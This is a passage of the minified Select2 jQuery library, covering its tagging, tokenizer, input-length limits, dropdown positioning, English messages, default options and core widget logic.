d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var i=t.results,r=0;r<i.length;r++){var o=i[r],s=null!=o.children&&!e({results:o.children},!0);if((o.text||"").toUpperCase()===(c.term||"").toUpperCase()||s)return!n&&(t.data=i,void u(t))}if(n)return!0;var a=d.createTag(c);if(null!=a){var l=d.option(a);l.attr("data-select2-tag",!0),d.addOptions([l]),d.insertTag(i,a)}t.results=i,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){var n=u.trim(t.term);return""===n?null:{id:n,text:n}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each(function(){this.selected||u(this).remove()})},e}),e.define("select2/data/tokenizer",["jquery"],function(d){function e(e,t,n){var i=n.get("tokenizer");void 0!==i&&(this.tokenizer=i),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var i=this;t.term=t.term||"";var r=this.tokenizer(t,this.options,function(e){var t=i._normalizeItem(e);if(!i.$element.find("option").filter(function(){return d(this).val()===t.id}).length){var n=i.option(t);n.attr("data-select2-tag",!0),i._removeOldTags(),i.addOptions([n])}!function(e){i.trigger("select",{data:e})}(t)});r.term!==t.term&&(this.$search.length&&(this.$search.val(r.term),this.$search.trigger("focus")),t.term=r.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,i){for(var r=n.get("tokenSeparators")||[],o=t.term,s=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var l=o[s];if(-1!==d.inArray(l,r)){var c=o.substr(0,s),u=a(d.extend({},t,{term:c}));null!=u?(i(u),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},e}),e.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(){i._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var i=this;this._checkIfMaximumSelected(function(){e.call(i,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var i=this;this.current(function(e){var t=null!=e?e.length:0;0<i.maximumSelectionLength&&t>=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){i.handleSearch(e)}),t.on("open",function(){i.$search.attr("tabindex",0),i.$search.attr("aria-controls",r),i.$search.trigger("focus"),window.setTimeout(function(){i.$search.trigger("focus")},0)}),t.on("close",function(){i.$search.attr("tabindex",-1),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.val(""),i.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||i.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer.removeClass("select2-search--hide"):i.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,i)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),i=t.length-1;0<=i;i--){var r=t[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,i){this.lastParams={},e.call(this,t,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("query",function(e){i.lastParams=e,i.loading=!0}),t.on("query:append",function(e){i.lastParams=e,i.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("open",function(){i._showDropdown(),i._attachPositioningHandler(t),i._bindContainerResultHandlers(t)}),t.on("close",function(){i._hideDropdown(),i._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f("<span></span>"),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,i="scroll.select2."+t.id,r="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(i,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(i+" "+r+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,i="resize.select2."+t.id,r="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+i+" "+r)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),i=null,r=this.$container.offset();r.bottom=r.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=r.top,o.bottom=r.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=a<r.top-s,u=l>r.bottom+s,d={left:r.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h={top:0,left:0};(f.contains(document.body,p[0])||p[0].isConnected)&&(h=p.offset()),d.top-=h.top,d.left-=h.left,t||n||(i="below"),u||!c||t?!c&&u&&t&&(i="below"):i="above",("above"==i||t&&"below"!==i)&&(d.top=o.top-h.top-s),null!=i&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+i),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+i)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,i)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,i=0;i<t.length;i++){var r=t[i];r.children?n+=e(r.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),e.define("select2/dropdown/selectOnClose",["../utils"],function(o){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("close",function(e){i._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}var i=this.getHighlightedResults();if(!(i.length<1)){var r=o.GetData(i[0],"data");null!=r.element&&r.element.selected||null==r.element&&r.selected||this.trigger("select",{data:r})}},e}),e.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(e){i._selectTriggered(e)}),t.on("unselect",function(e){i._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(c,u,d,p,h,f,g,m,v,y,s,t,_,w,$,b,A,x,D,S,C,E,O,T,q,j,L,I,e){function n(){this.reset()}return n.prototype.apply=function(e){if(null==(e=c.extend(!0,{},this.defaults,e)).dataAdapter){if(null!=e.ajax?e.dataAdapter=$:null!=e.data?e.dataAdapter=w:e.dataAdapter=_,0<e.minimumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,x)),0<e.maximumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,D)),0<e.maximumSelectionLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,S)),e.tags&&(e.dataAdapter=y.Decorate(e.dataAdapter,b)),null==e.tokenSeparators&&null==e.tokenizer||(e.dataAdapter=y.Decorate(e.dataAdapter,A)),null!=e.query){var t=u(e.amdBase+"compat/query");e.dataAdapter=y.Decorate(e.dataAdapter,t)}if(null!=e.initSelection){var n=u(e.amdBase+"compat/initSelection");e.dataAdapter=y.Decorate(e.dataAdapter,n)}}if(null==e.resultsAdapter&&(e.resultsAdapter=d,null!=e.ajax&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,T)),null!=e.placeholder&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,O)),e.selectOnClose&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,L))),null==e.dropdownAdapter){if(e.multiple)e.dropdownAdapter=C;else{var i=y.Decorate(C,E);e.dropdownAdapter=i}if(0!==e.minimumResultsForSearch&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,j)),e.closeOnSelect&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,I)),null!=e.dropdownCssClass||null!=e.dropdownCss||null!=e.adaptDropdownCssClass){var r=u(e.amdBase+"compat/dropdownCss");e.dropdownAdapter=y.Decorate(e.dropdownAdapter,r)}e.dropdownAdapter=y.Decorate(e.dropdownAdapter,q)}if(null==e.selectionAdapter){if(e.multiple?e.selectionAdapter=h:e.selectionAdapter=p,null!=e.placeholder&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,f)),e.allowClear&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,g)),e.multiple&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,m)),null!=e.containerCssClass||null!=e.containerCss||null!=e.adaptContainerCssClass){var o=u(e.amdBase+"compat/containerCss");e.selectionAdapter=y.Decorate(e.selectionAdapter,o)}e.selectionAdapter=y.Decorate(e.selectionAdapter,v)}e.language=this._resolveLanguage(e.language),e.language.push("en");for(var s=[],a=0;a<e.language.length;a++){var l=e.language[a];-1===s.indexOf(l)&&s.push(l)}return e.language=s,e.translations=this._processTranslations(e.language,e.debug),e},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:y.escapeMarkup,language:{},matcher:function e(t,n){if(""===c.trim(t.term))return n;if(n.children&&0<n.children.length){for(var i=c.extend(!0,{},n),r=n.children.length-1;0<=r;r--)null==e(t,n.children[r])&&i.children.splice(r,1);return 0<i.children.length?i:e(t,i)}var o=a(n.text).toUpperCase(),s=a(t.term).toUpperCase();return-1<o.indexOf(s)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.applyFromElement=function(e,t){var n=e.language,i=this.defaults.language,r=t.prop("lang"),o=t.closest("[lang]").prop("lang"),s=Array.prototype.concat.call(this._resolveLanguage(r),this._resolveLanguage(n),this._resolveLanguage(i),this._resolveLanguage(o));return e.language=s,e},n.prototype._resolveLanguage=function(e){if(!e)return[];if(c.isEmptyObject(e))return[];if(c.isPlainObject(e))return[e];var t;t=c.isArray(e)?e:[e];for(var n=[],i=0;i<t.length;i++)if(n.push(t[i]),"string"==typeof t[i]&&0<t[i].indexOf("-")){var r=t[i].split("-")[0];n.push(r)}return n},n.prototype._processTranslations=function(e,t){for(var n=new s,i=0;i<e.length;i++){var r=new s,o=e[i];if("string"==typeof o)try{r=s.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,r=s.loadPath(o)}catch(e){t&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else r=c.isPlainObject(o)?new s(o):o;n.extend(r)}return n},n.prototype.set=function(e,t){var n={};n[c.camelCase(e)]=t;var i=y._convertData(n);c.extend(!0,this.defaults,i)},new n}),e.define("select2/options",["require","jquery","./defaults","./utils"],function(i,d,r,p){function e(e,t){if(this.options=e,null!=t&&this.fromElement(t),null!=t&&(this.options=r.applyFromElement(this.options,t)),this.options=r.apply(this.options),t&&t.is("input")){var n=i(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=p.Decorate(this.options.dataAdapter,n)}}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),p.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),p.StoreData(e[0],"data",p.GetData(e[0],"select2Tags")),p.StoreData(e[0],"tags",!0)),p.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",p.GetData(e[0],"ajaxUrl")),p.StoreData(e[0],"ajax-Url",p.GetData(e[0],"ajaxUrl")));var n={};function i(e,t){return t.toUpperCase()}for(var r=0;r<e[0].attributes.length;r++){var o=e[0].attributes[r].name,s="data-";if(o.substr(0,s.length)==s){var a=o.substring(s.length),l=p.GetData(e[0],a);n[a.replace(/-([a-z])/g,i)]=l}}d.fn.jquery&&"1."==d.fn.jquery.substr(0,2)&&e[0].dataset&&(n=d.extend(!0,{},e[0].dataset,n));var c=d.extend(!0,{},p.GetData(e[0]),n);for(var u in c=p._convertData(c))-1<d.inArray(u,t)||(d.isPlainObject(this.options[u])?d.extend(this.options[u],c[u]):this.options[u]=c[u]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),e.define("select2/core",["jquery","./options","./utils","./keys"],function(o,c,u,i){var d=function(e,t){null!=u.GetData(e[0],"select2")&&u.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new c(t,e),d.__super__.constructor.call(this);var n=e.attr("tabindex")||0;u.StoreData(e[0],"old-tabindex",n),e.attr("tabindex","-1");var i=this.options.get("dataAdapter");this.dataAdapter=new i(e,this.options);var r=this.render();this._placeContainer(r);var o=this.options.get("selectionAdapter");this.selection=new o(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,r);var s=this.options.get("dropdownAdapter");this.dropdown=new s(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,r);var a=this.options.get("resultsAdapter");this.results=new a(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){l.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),u.StoreData(e[0],"select2",this),e.data("select2",this)};return u.Extend(d,u.Observable),d.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+u.generateChars(2):u.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},d.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},d.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var i=this._resolveWidth(e,"style");return null!=i?i:this._resolveWidth(e,"element")}if("element"==t){var r=e.outerWidth(!1);return r<=0?"auto":r+"px"}if("style"!=t)return"computedstyle"!=t?t:window.getComputedStyle(e[0]).width;var o=e.attr("style");if("string"!=typeof o)return null;for(var s=o.split(";"),a=0,l=s.length;a<l;a+=1){var c=s[a].replace(/\s/g,"").match(n);if(null!==c&&1<=c.length)return c[1]}return null},d.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},d.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=u.bind(this._syncAttributes,this),this._syncS=u.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){t._syncA(),t._syncS(null,e)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},d.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerSelectionEvents=function(){var n=this,i=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===o.inArray(e,i)&&n.trigger(e,t)})},d.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerEvents=function(){var n=this;this.on("open",function(){n.$container.addClass("select2-container--open")}),this.on("close",function(){n.$container.removeClass("select2-container--open")}),this.on("enable",function(){n.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){n.$container.addClass("select2-container--disabled")}),this.on("blur",function(){n.$container.removeClass("select2-container--focus")}),this.on("query",function(t){n.isOpen()||n.trigger("open",{}),this.dataAdapter.query(t,function(e){n.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){n.trigger("results:append",{data:e,query:t})})}),this.on("keypress",function(e){var t=e.which;n.isOpen()?t===i.ESC||t===i.TAB||t===i.UP&&e.altKey?(n.close(e),e.preventDefault()):t===i.ENTER?(n.trigger("results:select",{}),e.preventDefault()):t===i.SPACE&&e.ctrlKey?(n.trigger("results:toggle",{}),e.preventDefault()):t===i.UP?(n.trigger("results:previous",{}),e.preventDefault()):t===i.DOWN&&(n.trigger("results:next",{}),e.preventDefault()):(t===i.ENTER||t===i.SPACE||t===i.DOWN&&e.altKey)&&(n.open(),e.preventDefault())})},d.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.isDisabled()?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},d.prototype._isChangeMutation=function(e,t){var n=!1,i=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var r=0;r<t.addedNodes.length;r++){t.addedNodes[r].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length?n=!0:o.isArray(t)&&o.each(t,function(e,t){if(i._isChangeMutation(e,t))return!(n=!0)});else n=!0;return n}},d.prototype._syncSubtree=function(e,t){var n=this._isChangeMutation(e,t),i=this;n&&this.dataAdapter.current(function(e){i.trigger("selection:update",{data:e})})},d.prototype.trigger=function(e,t){var n=d.__super__.trigger,i={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in i){var r=i[e],o={prevented:!1,name:e,args:t};if(n.call(this,r,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},d.prototype.toggleDropdown=function(){this.isDisabled()||(this.isOpen()?this.close():this.open())},d.prototype.open=function(){this.isOpen()||this.isDisabled()||this.trigger("query",{})},d.prototype.close=function(e){this.isOpen()&&this.trigger("close",{originalEvent:e})},d.prototype.isEnabled=function(){return!this.isDisabled()},d.prototype.isDisabled=function(){return this.options.get("disabled")},d.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},d.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},d.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},d.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},d.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},d.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();var t=e[0];o.isArray(t)&&(t=o.map(t,function(e){return e.toString()})),this.$element.val(t).trigger("input").trigger("change")},d.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",u.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),u.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},d.prototype.render=function(){var e=o('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("select2/compat/utils",["jquery"],function(s){return{syncCssClasses:function(e,t,n){var i,r,o=[];(i=s.trim(e.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0===this.indexOf("select2-")&&o.push(this)}),(i=s.trim(t.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(r=n(this))&&o.push(r)}),e.attr("class",o.join(" "))}}}),e.define("select2/compat/containerCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("containerCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptContainerCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("containerCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/dropdownCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("dropdownCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptDropdownCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("dropdownCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/initSelection",["jquery"],function(i){function e(e,t,n){n.get("debug")&&window.console&&console.warn&&console.warn("Select2: The `initSelection` option has been deprecated in favor of a custom data adapter that overrides the `current` method. This method is now called multiple times instead of a single time when the instance is initialized. Support will be removed for the `initSelection` option in future versions of Select2"),this.initSelection=n.get("initSelection"),this._isInitialized=!1,e.call(this,t,n)}return e.prototype.current=function(e,t){var 